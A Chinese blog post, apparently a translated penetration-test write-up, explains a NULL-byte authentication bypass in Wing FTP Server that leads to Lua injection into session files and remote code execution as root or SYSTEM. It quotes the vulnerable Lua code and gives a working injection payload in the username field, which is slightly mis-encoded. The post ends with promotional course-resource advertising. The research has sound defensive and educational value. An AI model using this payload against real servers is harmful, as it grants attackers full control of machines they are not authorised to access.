网络安全实战-从匿名账户到RCE

在为我们的某位持续渗透测试客户执行一次渗透测试时,我们发现了一个允许匿名连接的 Wing FTP 服务器实例。它几乎是唯一暴露出来的有趣内容,但我们依然希望能在他们的边界网络中取得立足点,并向客户提供一个有影响力的发现。于是我们打开 Binary Ninja 开始挖掘。剧透:最终我们成功以 root 身份实现了远程代码执行。

熟悉的 Anonymous

我们遇到了 Wing FTP 的 Web 界面,它显然允许匿名登录。在 Wing FTP 的情况下,Web 界面上的匿名用户与 FTP 协议中使用的匿名用户是相同的。

在认证之后(好吧,匿名连接可以被视为未认证,因为它根本不需要任何密码),除了下载一些静态的公共内容外,我们没法做太多事情。不过好在,我们至少有读取权限。在这种情况下,通常的做法是对其他用户账户进行模糊测试,看看是否存在密码较弱、容易猜测的账户。然而,我们并没有太走运,因为它们全都只是返回了一个“Login failed”的错误信息:

我们几乎要放弃了,直到我们注意到一个特别有趣的模式:

因此,在用户名后追加一个 NULL 字节,再加上任意随机字符串,似乎并不会像正常情况那样触发认证失败。相反,它似乎仍然能成功认证用户。除了缺少错误消息之外,另一个表明认证成功的指标是 UID cookie,这是 Wing FTP 用户 Web 界面的主要认证 cookie。这个发现让我们非常兴奋,尤其是因为这种行为在整个 Web 界面中都能观察到,甚至包括管理 Web 界面。

Strlen() 与 NULL

探索这个黑盒几乎是不可能的,所以我们开始搭建自己的 Wing FTP 服务器实例,以便调试究竟发生了什么,因为我们感觉这里面可能藏着一些有趣的东西。当查看处理认证流程的 loginok.html 文件时,你会看到如下代码:

local username = _GET["username"] or _POST["username"] or ""
local password = _GET["password"] or _POST["password"] or ""
local remember = _GET["remember"] or _POST["remember"] or ""
local redir = _GET["redir"] or _POST["redir"] or ""
local lang = _GET["lang"] or _POST["lang"] or ""

username = string.gsub(username,"+"," ")
username = string.gsub(username,"\t","+")
password = string.gsub(password,"+"," ")
password = string.gsub(password,"\t","+")


local result = c_CheckUser(username,password)
if result ~= OK_CHECK_CONNECTION then
  c_AddWebLog("User '"..string.sub(username, 1, 64).."' login failed! (IP:".._REMOTE_IP..")","0",DOMAIN_LOG_WEB_RESPOND)
  print("<script>alert('"..LOGINERROR_STR[tonumber(result)].."');location='login.html';</script>")

因此,在执行到第 13 行调用 c_CheckUser() 之前,几乎没有进行任何过滤,而这一行本应验证用户名/密码的组合。在调试这一行时,我们注意到,只要 NULL 字节之前的字符串与现有用户匹配,c_CheckUser 总是返回 OK_CHECK_CONNECTION,而不会关心用户名中 NULL 字节之后的内容。由于 c_CheckUser() 是在 Wing FTP 的主二进制文件 wftpserver 中实现的,我们搭建了远程调试服务器,并将我们最喜欢的调试器 Binary Ninja 附加到它上面,以找出这里发生了什么。我们注意到:

c_CheckUser() 的早期阶段,应用程序使用 lua_tolstring 调用来获取用户名(该调用会忽略 NULL 字节),然后将结果字符串传递给 CStdStr 构造函数:

当继续向下追踪构造函数的执行过程时,我们最终会进入一个名为 ssasn(std::string& arg1, char const* arg2) 的函数,它会对我们的用户名调用 std::string::assign,而此时用户名中仍然包含着 NULL 字节:

现在,std::string::assign 在内部会对我们的用户名调用 strlen() 来获取字符串长度,但 strlen 只会统计直到遇到 NULL 字节终止符之前的所有字符。这就是为什么 RAX 寄存器的值是 0x9,正好是用户名 “anonymous” 的长度:

这反过来意味着,CStdStr 构造函数只会处理用户名字符串中直到我们注入的 NULL 字节为止的第一部分。由于它只取第一部分,CUserManager::CheckUser 的调用也只会使用用户名的第一部分,从而最终使我们能够在 NULL 字节前的部分为现有用户名的情况下,用任意字符串通过认证检查:

探究漏洞原因

还记得 Lua 代码中的 c_CheckUser 会执行认证检查吧:如果我们继续向下查看 loginok.html 中的代码,检查会话是如何生成的,你会注意到这一点:

local username = _GET["username"] or _POST["username"] or ""
local password = _GET["password"] or _POST["password"] or ""
local remember = _GET["remember"] or _POST["remember"] or ""
local redir = _GET["redir"] or _POST["redir"] or ""
local lang = _GET["lang"] or _POST["lang"] or ""

username = string.gsub(username,"+"," ")
username = string.gsub(username,"\t","+")
password = string.gsub(password,"+"," ")
password = string.gsub(password,"\t","+")


local result = c_CheckUser(username,password)
if result ~= OK_CHECK_CONNECTION then
  c_AddWebLog("User '"..string.sub(username, 1, 64).."' login failed! (IP:".._REMOTE_IP..")","0",DOMAIN_LOG_WEB_RESPOND)
  print("<script>alert('"..LOGINERROR_STR[tonumber(result)].."');location='login.html';</script>")
else
  if _COOKIE["UID"] ~= nil then
    _SESSION_ID = _COOKIE["UID"]
    local retval = SessionModule.load(_SESSION_ID)
    if retval == false then
      _SESSION_ID = SessionModule.new()
      if _UseSSL == true then
        _SETCOOKIE = _SETCOOKIE.."Set-Cookie: UID=".._SESSION_ID.."; HttpOnly; Secure\r\n"
      else
        _SETCOOKIE = _SETCOOKIE.."Set-Cookie: UID=".._SESSION_ID.."; HttpOnly\r\n"
      end
      rawset(_COOKIE,"UID",_SESSION_ID)
    end
  else
    _SESSION_ID = SessionModule.new()
    if _UseSSL == true then
      _SETCOOKIE = _SETCOOKIE.."Set-Cookie: UID=".._SESSION_ID.."; HttpOnly; Secure\r\n"
    else
      _SETCOOKIE = _SETCOOKIE.."Set-Cookie: UID=".._SESSION_ID.."; HttpOnly\r\n"
    end
    rawset(_COOKIE,"UID",_SESSION_ID)
  end

  if package.config:sub(1,1) == "\\" then
    username = string.lower(username)
  end
  rawset(_SESSION,"username",username)
  rawset(_SESSION,"ipaddress",_REMOTE_IP)
  SessionModule.save(_SESSION_ID)

这里发生的情况是,应用程序在第 43 行的 rawset() 调用中使用了用户名,而这个用户名直接来源于第 1 行的 GET 或 POST 参数。这个用户名是完整的,包括 NULL 字节以及其后的所有内容。原因是 c_CheckUser() 并不会返回经过清理的用户名,而只会返回认证状态。

在第 45 行,应用程序随后调用了 SessionModule.save(),其定义如下:

function save (id)
  if not check_id (id) then
    return nil, INVALID_SESSION_ID
  end

  if isfolder(root_dir) == false then
    mkdir(root_dir)
    chmod(root_dir, "0600")
  end

  local fh = assert(_open(filename (id), "w+"))
  serialize(_SESSION, function (s) fh:write(s) end)
  fh:close()
  chmod(filename(id), "0600")
end

这里,应用程序在第 11 行创建了一个新的会话文件,随后将 _SESSION 中的所有内容(包括我们的用户名)序列化到会话文件中。serialize() 的代码如下:

function serialize(tab,outf)
  if type(tab) == "table" then
    for k,v in pairs(tab) do
      if type(k) == "string" then k="'"..k.."'" end
      if(type(v) == "string") then
        outf("_SESSION["..k.."]=[["..v.."]]\r\n")
      elseif(type(v) == "number") then
        outf("_SESSION["..k.."]="..v.."\r\n")
      elseif(type(v) == "function") then
        outf("_SESSION["..k.."]=\"[function]\"\r\n")
      elseif(type(v) == "nil") then
        outf("_SESSION["..k.."]=nil\r\n")
      else
        outf("_SESSION["..k.."]={")
        serialize(v,outf)
        outf("}\r\n")
      end
    end
  end
end

你可能已经猜到这会导致什么后果。但让我们仔细看看这些会话文件。

向会话文件注入 Lua 代码

当你使用带有 NULL 字节注入的用户名进行 Web 界面认证时,应用程序会创建一个新的会话 ID,这由 UID 会话 cookie 指示:

查看 wftpserver/session 目录时,你会发现这些会话文件本质上是 Lua 脚本文件。它们的设计初衷是只存储会话变量,但由于 loginok.html 文件使用的是完整字符串,NULL 字节实际上也被存储到了会话变量中:

那么,使用这样的用户名可能会出现什么问题呢?

anonymous%00]]%0dlocal+h+%3d+io.popen(“id”)%0dlocal+r+%3d+h%3aread(“*a”)%0dh%3aclose()%0dprint®%0d–

这会将 Lua 代码注入到会话文件中(还有:nano 胜利):

触发代码注入

我们的 Lua 代码已经注入到了会话文件中,但我们如何执行它呢?答案跟听起来一样简单:只要使用该会话文件,它就会被执行。原因可以在 SessionModule.lua 中找到:

function load (id)
  if not check_id (id) then
    return false
  end

  local filepath = filename(id)
  if fileexist(filepath) then
    if filetime(filepath) + timeout < time() then
      remove(filepath)
      return false
    end

    local ipHash = string.sub(id, -32)
    if c_RestrictSessionIP() == true and ipHash ~= md5(_REMOTE_IP) then
      return false
    end

    if ipHash == "f528764d624db129b32c21fbca0cb8d6" and _REMOTE_IP ~= "127.0.0.1" then
      return false
    end

    local f, err = loadfile(filepath)
    if not f then
      return false
    else
      f()
      return true
    end

  end
end

如果会话 ID 有效,第 22 行会加载会话文件,第 26 行会直接执行该文件。因此,在将 Lua 代码注入到会话文件后(该文件名本质上就是 UID cookie 的值),你只需调用 Wing FTP Web 界面中可用的任何已认证功能,比如通过 /dir.html 接口读取目录内容:

这使我们获得了服务器上的远程代码执行权限。但事情并未就此结束。如截图所示,代码是在 Linux 上以 root 权限执行的,因为 wftpserver 默认以 root 权限运行。没有降权、没有限制环境,也没有沙箱机制(另见 CVE-2025-47811)。

顺便提一句:Wing FTP 服务器的 Windows 版本默认以 NT AUTHORITY/SYSTEM 权限启动,因此在微软 Windows 上你将获得 SYSTEM 权限的远程代码执行。

到此,我们已经实现了目标:从匿名只读账户升级到以 root 身份完全执行代码。需要澄清的是:这不仅限于匿名账户,只要拥有有效凭据,任何用户账户都可利用此漏洞。

申明:本账号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,所有渗透都需获取授权,违者后果自行承担,与本号及作者无关

网络安全学习资源分享:

给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

因篇幅有限,仅展示部分资料,朋友们如果有需要全套《网络安全入门+进阶学习资源包,需要点击下方链接即可前往获取

读者福利 | 优快云大礼包:《网络安全入门&进阶学习资源包》免费分享 (安全链接,放心点击)

👉1.成长路线图&学习规划👈

要学习一门新的技术,作为新手一定要先学习成长路线图,方向不对,努力白费。

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

在这里插入图片描述
在这里插入图片描述

👉2.网安入门到进阶视频教程👈

很多朋友都不喜欢晦涩的文字,我也为大家准备了视频教程,其中一共有21个章节,每个章节都是当前板块的精华浓缩。(全套教程文末领取哈)
在这里插入图片描述

在这里插入图片描述

👉3.SRC&黑客文档👈

大家最喜欢也是最关心的SRC技术文籍&黑客技术也有收录

SRC技术文籍:

在这里插入图片描述

黑客资料由于是敏感资源,这里不能直接展示哦!(全套教程文末领取哈)

👉4.护网行动资料👈

其中关于HW护网行动,也准备了对应的资料,这些内容可相当于比赛的金手指!

在这里插入图片描述

👉5.黑客必读书单👈

在这里插入图片描述

👉6.网络安全岗面试题合集👈

当你自学到这里,你就要开始思考找工作的事情了,而工作绕不开的就是真题和面试题。
在这里插入图片描述
所有资料共282G,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,可以扫描下方二维码或链接免费领取~

读者福利 | 优快云大礼包:《网络安全入门&进阶学习资源包》免费分享 (安全链接,放心点击)

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值